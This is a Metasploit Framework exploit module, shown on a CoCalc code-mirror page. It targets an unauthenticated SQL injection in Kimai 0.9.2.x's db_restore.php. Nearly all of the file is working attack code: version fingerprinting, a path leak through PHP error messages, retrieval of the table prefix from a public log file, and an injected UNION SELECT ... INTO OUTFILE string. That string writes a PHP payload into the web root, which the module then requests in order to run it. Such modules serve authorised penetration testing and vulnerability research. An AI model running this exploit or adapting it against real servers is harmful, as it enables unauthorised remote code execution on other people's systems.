CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/webapp/kimai_sqli.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = AverageRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::FileDropper
11
12
def initialize(info={})
13
super(update_info(info,
14
'Name' => "Kimai v0.9.2 'db_restore.php' SQL Injection",
15
'Description' => %q{
16
This module exploits a SQL injection vulnerability in Kimai version
17
0.9.2.x. The 'db_restore.php' file allows unauthenticated users to
18
execute arbitrary SQL queries. This module writes a PHP payload to
19
disk if the following conditions are met: The PHP configuration must
20
have 'display_errors' enabled, Kimai must be configured to use a
21
MySQL database running on localhost; and the MySQL user must have
22
write permission to the Kimai 'temporary' directory.
23
},
24
'License' => MSF_LICENSE,
25
'Author' =>
26
[
27
'drone', # Discovery and PoC
28
'bcoles' # Metasploit module
29
],
30
'References' =>
31
[
32
['EDB', '25606'],
33
['OSVDB', '93547'],
34
],
35
'Payload' =>
36
{
37
'Space' => 8000, # HTTP POST
38
'DisableNops'=> true,
39
'BadChars' => "\x00\x0a\x0d\x27"
40
},
41
'Arch' => ARCH_PHP,
42
'Platform' => 'php',
43
'Targets' =>
44
[
45
# Tested on Kimai versions 0.9.2.beta, 0.9.2.1294.beta, 0.9.2.1306-3
46
[ 'Kimai version 0.9.2.x (PHP Payload)', { 'auto' => true } ]
47
],
48
'Privileged' => false,
49
'DisclosureDate' => '2013-05-21',
50
'DefaultTarget' => 0))
51
52
register_options(
53
[
54
OptString.new('TARGETURI', [true, 'The base path to Kimai', '/kimai/']),
55
OptString.new('FALLBACK_TARGET_PATH', [false, 'The path to the web server document root directory', '/var/www/']),
56
OptString.new('FALLBACK_TABLE_PREFIX', [false, 'The MySQL table name prefix string for Kimai tables', 'kimai_'])
57
])
58
end
59
60
#
61
# Checks if target is Kimai version 0.9.2.x
62
#
63
def check
64
vprint_status("Checking version...")
65
res = send_request_raw({ 'uri' => normalize_uri(target_uri.path, "index.php") })
66
if not res
67
vprint_error("Request timed out")
68
return Exploit::CheckCode::Unknown
69
elsif res.body =~ /Kimai/ and res.body =~ /(0\.9\.[\d\.]+)<\/strong>/
70
version = "#{$1}"
71
print_good("Found version: #{version}")
72
if version >= "0.9.2" and version <= "0.9.2.1306"
73
return Exploit::CheckCode::Appears
74
end
75
end
76
return Exploit::CheckCode::Safe
77
end
78
79
def exploit
80
81
# Get file system path
82
print_status("Retrieving file system path...")
83
res = send_request_raw({ 'uri' => normalize_uri(target_uri.path, 'includes/vars.php') })
84
if not res
85
fail_with(Failure::Unknown, "#{peer} - Request timed out")
86
elsif res.body =~ /Undefined variable: .+ in (.+)includes\/vars\.php on line \d+/
87
path = "#{$1}"
88
print_good("Found file system path: #{path}")
89
else
90
path = normalize_uri(datastore['FALLBACK_TARGET_PATH'], target_uri.path)
91
print_warning("Could not retrieve file system path. Assuming '#{path}'")
92
end
93
94
# Get MySQL table name prefix from temporary/logfile.txt
95
print_status("Retrieving MySQL table name prefix...")
96
res = send_request_raw({ 'uri' => normalize_uri(target_uri.path, 'temporary', 'logfile.txt') })
97
if not res
98
fail_with(Failure::Unknown, "#{peer} - Request timed out")
99
elsif prefixes = res.body.scan(/CREATE TABLE `(.+)usr`/)
100
table_prefix = "#{prefixes.flatten.last}"
101
print_good("Found table name prefix: #{table_prefix}")
102
else
103
table_prefix = normalize_uri(datastore['FALLBACK_TABLE_PREFIX'], target_uri.path)
104
print_warning("Could not retrieve MySQL table name prefix. Assuming '#{table_prefix}'")
105
end
106
107
# Create a backup ID
108
print_status("Creating a backup to get a valid backup ID...")
109
res = send_request_cgi({
110
'method' => 'POST',
111
'uri' => normalize_uri(target_uri.path, 'db_restore.php'),
112
'vars_post' => {
113
'submit' => 'create backup'
114
}
115
})
116
if not res
117
fail_with(Failure::Unknown, "#{peer} - Request timed out")
118
elsif backup_ids = res.body.scan(/name="dates\[\]" value="(\d+)">/)
119
id = "#{backup_ids.flatten.last}"
120
print_good("Found backup ID: #{id}")
121
else
122
fail_with(Failure::Unknown, "#{peer} - Could not retrieve backup ID")
123
end
124
125
# Write PHP payload to disk using MySQL injection 'into outfile'
126
fname = "#{rand_text_alphanumeric(rand(10)+10)}.php"
127
sqli = "#{id}_#{table_prefix}var UNION SELECT '<?php #{payload.encoded} ?>' INTO OUTFILE '#{path}/temporary/#{fname}';-- "
128
print_status("Writing payload (#{payload.encoded.length} bytes) to '#{path}/temporary/#{fname}'...")
129
res = send_request_cgi({
130
'method' => 'POST',
131
'uri' => normalize_uri(target_uri.path, 'db_restore.php'),
132
'vars_post' => Hash[{
133
'submit' => 'recover',
134
'dates[]' => sqli
135
}.to_a.shuffle]
136
})
137
if not res
138
fail_with(Failure::Unknown, "#{peer} - Request timed out")
139
elsif res.code == 200
140
print_good("Payload sent successfully")
141
register_files_for_cleanup(fname)
142
else
143
print_error("Sending payload failed. Received HTTP code: #{res.code}")
144
end
145
146
# Remove the backup
147
print_status("Removing the backup...")
148
res = send_request_cgi({
149
'method' => 'POST',
150
'uri' => normalize_uri(target_uri.path, 'db_restore.php'),
151
'vars_post' => Hash[{
152
'submit' => 'delete',
153
'dates[]' => "#{id}"
154
}.to_a.shuffle]
155
})
156
if not res
157
print_warning("Request timed out")
158
elsif res.code == 302 and res.body !~ /#{id}/
159
vprint_good("Deleted backup with ID '#{id}'")
160
else
161
print_warning("Could not remove backup with ID '#{id}'")
162
end
163
164
# Execute payload
165
print_status("Retrieving file '#{fname}'...")
166
res = send_request_raw({
167
'uri' => normalize_uri(target_uri.path, 'temporary', "#{fname}")
168
}, 5)
169
end
170
end
171
172